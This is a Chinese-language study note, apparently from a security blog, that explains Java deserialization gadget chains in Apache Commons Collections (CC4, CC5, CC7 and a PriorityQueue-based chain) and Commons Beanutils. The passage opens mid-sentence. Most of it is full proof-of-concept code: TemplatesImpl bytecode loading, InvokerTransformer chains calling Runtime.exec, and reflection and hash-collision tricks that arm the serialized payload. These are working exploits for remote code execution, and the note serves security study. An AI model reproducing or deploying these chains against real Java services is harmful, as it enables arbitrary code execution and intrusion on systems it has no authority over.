传进去,不然就会在序列化的时候触发。
添加元素的作用包括:
- 初始化堆结构:确保
PriorityQueue
在反序列化后需要重新调整堆。 - 确保调用
Comparator.compare()
:add
方法会在插入元素时显式调用Comparator.compare()
,从而引发恶意代码链。
在这里我们选择先把做一个无意义的TransformingComparator
放到PriorityQueue
里面,然后add
进去两个值,再去反射修改TransformingComparator
的transformer
。
最终的 POC
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aniale");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Java//Classes/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
// Transformer transformer = templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
org.apache.commons.collections4.functors.ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new org.apache.commons.collections4.functors.ConstantTransformer(1));
PriorityQueue priorityQueue=new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class tc2 = transformingComparator.getClass();
Field comparator = tc2.getDeclaredField("transformer");
comparator.setAccessible(true);
comparator.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
unserialize();
}
还有其他两种写法,第一种是在new PriorityQueue
时候直接new
一个空的,再去add
,再去改priorityQueue
的comparator
为设计好的transformingComparator
第二种是修改 size 防止序列化时进入链路
由于priorityQueue.add
是当 size = 2时, 会调用进链路, 那么我们可以第一次add
后, 将 size 改为0, 第二次add
后, 将 size改为2, 这样更方便一点, 就不用在调用进链路时, 去切断链路了, 因为从开头就已经切断了
CC4
这个链的特性则是无需使用ChainedTransformer
, 也就避免了Transformer[]
这个数组的使用,这个避免数组的使用我们之后在 shiro 的反序列化攻击再分析
这里由于PriorityQueue::readObject
的入口点可以传递任意对象到我们的链路中, 所以我们可以直接传递一个TemplatesImpl
对象过去, 通过调用InvokerTransformer::transform
去调用我们TemplatesImpl::newTransformer
方法即可
POC
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aniale");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Java//Classes/Test.class"));
byte[][] codes = {code};
// ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
// new ConstantTransformer(TrAXFilter.class), // 接收任意参数, 返回 TrAXFilter.class 这个类
// new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) // TrAXFilter.class 作为 InstantiateTransformer::transform 的参数调用过去, 从而调用到了 templates.newTransformer 方法, 进入类加载器
// });
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
ConstantTransformer<Object, Object> tmpTransformer = new ConstantTransformer("tmp"); // 对其进行一次无效赋值
TransformingComparator transformingComparator = new TransformingComparator(tmpTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, invokerTransformer); // add 方法走完, 再改回来我们的恶意类
serialize(priorityQueue);
unserialize();
}
CC5
TiedMapEntry::toString 链式调用
看一下TiedMapEntry
的部分定义,很显然存在可控的map
和key
,触发toString
->getValue
->Map::get
,Map
传LazyMap
即可
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable{
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
public String toString() {
return getKey() + "=" + getValue();
}
}
BadAttributeValueExpException::readObject 入口方法 - 调用 toString
POC
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazymap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(lazymap,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
serialize(poc);
CC7
在key
传递和处理挺绕的,涉及hash
值的碰撞,应该先去研究下HashMap
和HashTable
源码和逻辑
我写的太乱了,有空再重新整理一下
Hashtable::put 流程分析
Hashtable
与HashMap
的功能是类似的, 在 JDK 高版本中, 开发了 HashMap
, 替代了 Hashtable
put
方法通过遍历桶中链表(拉链法解决哈希冲突),检查是否已经有相同键。
entry.hash == hash
: 比较哈希值,确保键的哈希值一致。entry.key.equals(key)
: 比较键本身,确保语义上的相等。
如果找到匹配的键:
- 更新键对应的值。
- 返回旧值,表示该键之前已存在。
在上面向Hashtable
两次put
的操作可以看到, 如果两个key
的hashCode()
方法处理后,hash
不同, 就不会调用到entry.key.equals(key)
中去. 而如果hash
相同, 则不会
AbstractMapDecorator::equals 链式调用
AbstractMap::equals
调用了LazyMap::get
方法,m
需要传一个LazyMap
进来
然后是AbstractMapDecorator
的equals()
,这个是对于new LazyMap
时候传入的HashMap
的调用,因为HashMap extends AbstractMap
,而LazyMap extends AbstractMapDecorator
,我说的好几把绕,对着 POC 捋一下思路就是
在对两个LazyMap进行equals比较时,调用的是AbstractMapDecorator::equals
再去调用里面包裹的HashMap
继承的AbstractMap::equals
去调用get()
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
// 准备两个 HashMap
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap1.put("aniale", null);
hashMap2.put("hacker", null);
// 准备两个 LazyMap
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1, chainedTransformer); // 创建一个 lazyMap 对象
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2, chainedTransformer); // 创建一个 lazyMap 对象
lazyMap1.equals(lazyMap2); // 进行比较
Hashtable::readObject 入口方法 - 调用 equals
调用了reconstitutionPut
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
e.key.equals(key)
的key就是我们第一次put
进去的key
,为什么需要put
两次呢?
第一次进入reconstitution
时,tab[index]
是未赋值的,因此为null,进入不了for循环内,第二次put
就可以进入for循环,此时e.key
就是LazyMap1
,key
就是LazyMap2
然后就调用lazymap1.equals(lazymap2)
,由于Lazymap
没有equals
方法,一直回溯就到了Abstractmap.equals
Hashcode调用与key值碰撞
现在还有一个问题就是怎么满足e.hash == hash
,e.hash
就是对于key的hashCode
值
回到我们一开始讨论的put
,如果在那个时候hashCode
值不一样的话,就不会调用equals
,那么hashCode
是如何处理的呢
String::hashCode
方法的定义如下:
public int hashCode() {
int h = hash; // 默认为0
if (h == 0 && value.length > 0) {
char val[] = value; // private final char value[]; String 包装的每个字符串, 用 char[] 进行包装
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
/* 假设字符串 ab
31 * 0 + a的ASCII
a的ASCII * 31 + b的ASCII
... 以此类推
*/
}
hash = h;
}
return h;
}
那么我们是否可以构建出两个不同的字符串, 但hashCode
相同的字符串呢?编写如下python脚本:
Dict1 = {}
for i in range(1,127):
for j in range(1,127):
key = i * 31 + j
nowKey = Dict1.get(key)
if nowKey != None:
print(nowKey + " = " + (chr(i) + chr(j)))
Dict1[key] = chr(i) + chr(j)
随便找一个 Mg = NH
public abstract class AbstractMap<K,V> implements Map<K,V> {
public int hashCode() { // LazyMap.hashCode() 实际上调用到这里
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode(); // 对每一个 Entry 进行调用 hashCode() 方法, 然后加到 h 变量中
return h;
}
}
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
static class Node<K,V> implements Map.Entry<K,V> {
final int hash;
final K key;
V value;
Node<K,V> next;
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value); // 每个 entry 是由 entry[key].hashCode ^ entry[value].hashCode 的运算结果
}
}
}
public Class Object {
public static int hashCode(Object o) {
return o != null ? o.hashCode() : 0; // 不是 null 就调用 hashCode
}
}
可以看到的是, 如果对LazyMap
进行hashCode
操作, 实际上会调用到HashMap$Node.hashCode
中,HashMap$Node.hashCode
的算法只是将key && value
都进行异或操作了.
这里两个LazyMap
的value
值相同, 而Key
使用了不同字符但hashCode相同
的字符, 那么这两个LazyMap
所计算出来的hashCode
应该也是相同的
总结下来也就是先put
两个不一样key
,为了避免在向Hashtable
去put LazyMap
时两个hashCode
相同导致不会调用到addEntry
方法, 底层table数组
也不会改变,所以就得再最后把那个不一样的删了再加一个一样的
POC
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
// 准备两个 HashMap
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap1.put("Mg", null);
hashMap2.put("aniale", null); // 防止后面 put 时, 无法进入 addEntry 方法, 所以这里需要随机 put 一个字符串
// 准备两个 LazyMap
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1, chainedTransformer);
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2, chainedTransformer);
Hashtable<LazyMap, Object> evilTable = new Hashtable<>();
evilTable.put(lazyMap1, 1);
evilTable.put(lazyMap2, 1); // put 完毕后, 没有进入 addEntry, 因为 "aniale".hashCode() != "Mg".hashCode()
hashMap2.remove("aniale"); // put 完毕了, 程序不报错, aniale 没有用了, 移除掉
hashMap2.put("NH", null); // 塞入与 }~ 字符串 hashCode 相同的值, 准备序列化
serialize(evilTable);
unserialize();
}
Commons Beanutils
CommonsBeanutils
是应用于JavaBean
的工具,它提供了对普通 Java 类对象(也称为 JavaBean)的一些操作方法
对不起这篇懒得写了,大致写一下
先是 PropertyUtils.getProperty
的调用
然后是Xalan ClassLoader
利用中,TemplatesImpl::getOutputProperties
方法是整个Xalan ClassLoader
利用的起点
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aniale");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
Field factory = tc.getDeclaredField("_tfactory");
factory.setAccessible(true);
factory.set(templates, new TransformerFactoryImpl());
byte[] code = Files.readAllBytes(Paths.get("D://Java//Classes/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
// Transformer transformer = templates.newTransformer();
PropertyUtils.getProperty(templates, "outputProperties");
POC
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
new BASE64Decoder().decodeBuffer("恶意类字节码的 BASE64"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
Class<?> comparatorClazz = Class.forName("javax.swing.LayoutComparator");
Constructor<?> comparatorClazzConstructor = comparatorClazz.getDeclaredConstructor();
comparatorClazzConstructor.setAccessible(true);
Comparator o = (Comparator) comparatorClazzConstructor.newInstance();
BeanComparator beanComparator = new BeanComparator("outputProperties", new Comparator() {
@Override
public int compare(Object o1, Object o2) {
return 0;
}
}); // outputProperties 可控, 第二个参数传递一个 Comparator.
Field comparator = beanComparator.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(beanComparator, null); // 由于 Comparator 不支持序列化, 所以在序列化时, 会报错, 所以我们在这里将其改为null, 为了支持序列化.
// beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); // 为了防止序列化前, 就会调用 compare 方法, 这里先传递一个没用的 Comparator
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
priorityQueue.add(templates); // 将可控的 templates 传入, 调用则弹计算器
size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
priorityQueue.add(templates);
size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路
serialize(priorityQueue);
deserialize();
}
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
objectOutputStream.writeObject(object);
}
public static Object deserialize() throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return objectInputStream.readObject();
}
参考文章
https://mp.weixin.qq.com/s?__biz=MzkwMzQyMTg5OA==&mid=2247485098&idx=1&sn=1e7ace694e4e86e1d2421539ce5ef4c8&chksm=c186aa323749fdde224e86564c1fca1ac64bab3b4b71542342b7917b36324582440fc9321363&mpshare=1&scene=23&srcid=1202uH5nyI2mDrg7dc5v3RlU
https://boogipop.com/2023/03/02/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%A0%94%E7%A9%B6
P神《Java安全漫谈》